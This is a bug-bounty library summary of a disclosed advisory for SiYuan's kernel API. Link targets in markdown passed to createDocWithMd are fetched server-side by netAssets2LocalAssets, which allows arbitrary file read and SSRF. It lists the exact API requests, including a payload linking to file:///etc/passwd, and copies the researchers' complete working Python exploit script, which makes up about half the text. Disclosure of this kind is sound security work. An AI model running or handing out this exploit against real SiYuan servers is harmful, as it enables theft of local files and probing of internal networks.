# SiYuan vulnerable to Arbitrary file Read / SSRF

SiYuan's createDocWithMd renders unsanitized markdown links; netAssets2LocalAssets then fetches file:// or http:// URLs, enabling arbitrary file read and SSRF.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: abdoghazy2015, xtromera
- Disclosed: 2026-01-21
- CVE: CVE-2026-23850
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-cv54-7wv7-qxcw
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-cv54-7wv7-qxcw
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go technique:source-review vuln:ssrf

**Target:** SiYuan kernel API (createDocWithMd, netAssets2LocalAssets)
**Root cause:** The markdown parameter of createDocWithMd is passed to model.CreateWithMarkdown and then luteEngine.Md2BlockDOM without sanitization, so attacker-controlled link URLs (file://, http://) are stored as network assets; netAssets2LocalAssets then fetches them server-side.
**Steps:**
1. Authenticate: `POST /api/system/loginAuth` with `{"authCode": PASSWORD, "rememberMe": true}`.
2. Get a notebook id via `POST /api/notebook/lsNotebooks`.
3. Create a doc with a malicious link: `POST /api/filetree/createDocWithMd` body `{"notebook": <id>, "path": "/pwn", "markdown": "[loot](file:///etc/passwd)"}` (or `http://127.0.0.1:4444/...` for SSRF).
4. Trigger fetch: `POST /api/format/netAssets2LocalAssets` with `{"id": <doc_id>}`.
5. List `/data/assets` via `POST /api/file/readDir` to find the new `network-asset-*` file.
6. Retrieve content: `GET /assets/<file_name>`.
**How found:** Team solved Null CTF 2025 challenge unintentionally; reading createDocWithMd source showed markdown passed unsanitized to Md2BlockDOM, then noticed netAssets2LocalAssets fetches link targets server-side.
**Exploitation:** Any authenticated user (workgroup password) creates a markdown doc containing a link to file:// or an internal http:// URL; netAssets2LocalAssets downloads the target into /data/assets, which is then served unauthenticated at /assets/, exfiltrating local files and internal HTTP responses.
**Insight:** When a markdown/HTML renderer stores link targets as 'network assets', the asset-download endpoint becomes an SSRF/LFD primitive — check any 'convert remote assets to local' API for URL scheme filtering.

## Proof of concept (copied exactly from the original report)

**Python PoC for LFD/SSRF via createDocWithMd**

```
import requests, sys, os

if len(sys.argv) >= 5 :
    TARGET = sys.argv[1].rstrip("/")
    PASSWORD = sys.argv[2]
    attack_type = sys.argv[3]
    if attack_type == "LFD":
        file_path = f"file://{sys.argv[4]}"
    elif attack_type == "SSRF":
        file_path = f"{sys.argv[4]}"
else:
    sys.exit(f"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link")
    TARGET = "http://127.0.0.1:6806"
    PASSWORD = "SuperSecretPassword" # Workgroup password
    file_path = "/etc/passwd" # file to read

s  = requests.Session()

def login():
    s.post(f"{TARGET}/api/system/loginAuth", json={"authCode": PASSWORD, "rememberMe": True})


def list_notebooks():
    res = s.post(f"{TARGET}/api/notebook/lsNotebooks").json()
    notebooks = res["data"]["notebooks"]
    if not notebooks:
        raise RuntimeError("No notebooks found – create one in the UI first")
    notebook = notebooks[0]["id"]
    return notebook

def file_to_md(notebook, file_path):
    doc_id = s.post(
    f"{TARGET}/api/filetree/createDocWithMd",
    json={
        "notebook": notebook,
        "path": "/pwn",
        "markdown": f"[loot]({file_path})"
    },
    ).json()["data"]
    return doc_id

def convert_file_to_asset(doc_id):
    res = s.post(f"{TARGET}/api/format/netAssets2LocalAssets", json={"id": doc_id})
    # print(f"Debug : convert", res.text)

def get_new_file_name_from_assets(file_path):
    res = s.post(f"{TARGET}/api/file/readDir", json={"path": "/data/assets"}).json()["data"]
    if attack_type == "LFD":
        new_file_name = f"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-"
    else:
        new_file_name = f"network-asset-{os.path.basename(file_path)}-"
    # print(new_file_name)
    for file in res:
        # print(file["name"])
        if new_file_name in file["name"]:
            return file["name"]
            

def retrieve_file_content(file_name):
    return s.get(f"{TARGET}/assets/{file_name}").text


login()
notebook = list_notebooks()
doc_id = file_to_md(notebook, file_path)
# print(f"Debug : Docid", doc_id)
convert_file_to_asset(doc_id)
file_name = get_new_file_name_from_assets(file_path)
file_content = retrieve_file_content(file_name)
if len(file_content) > 0 :
    print("Content : ", file_content)
else:
    print(f"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name")
```

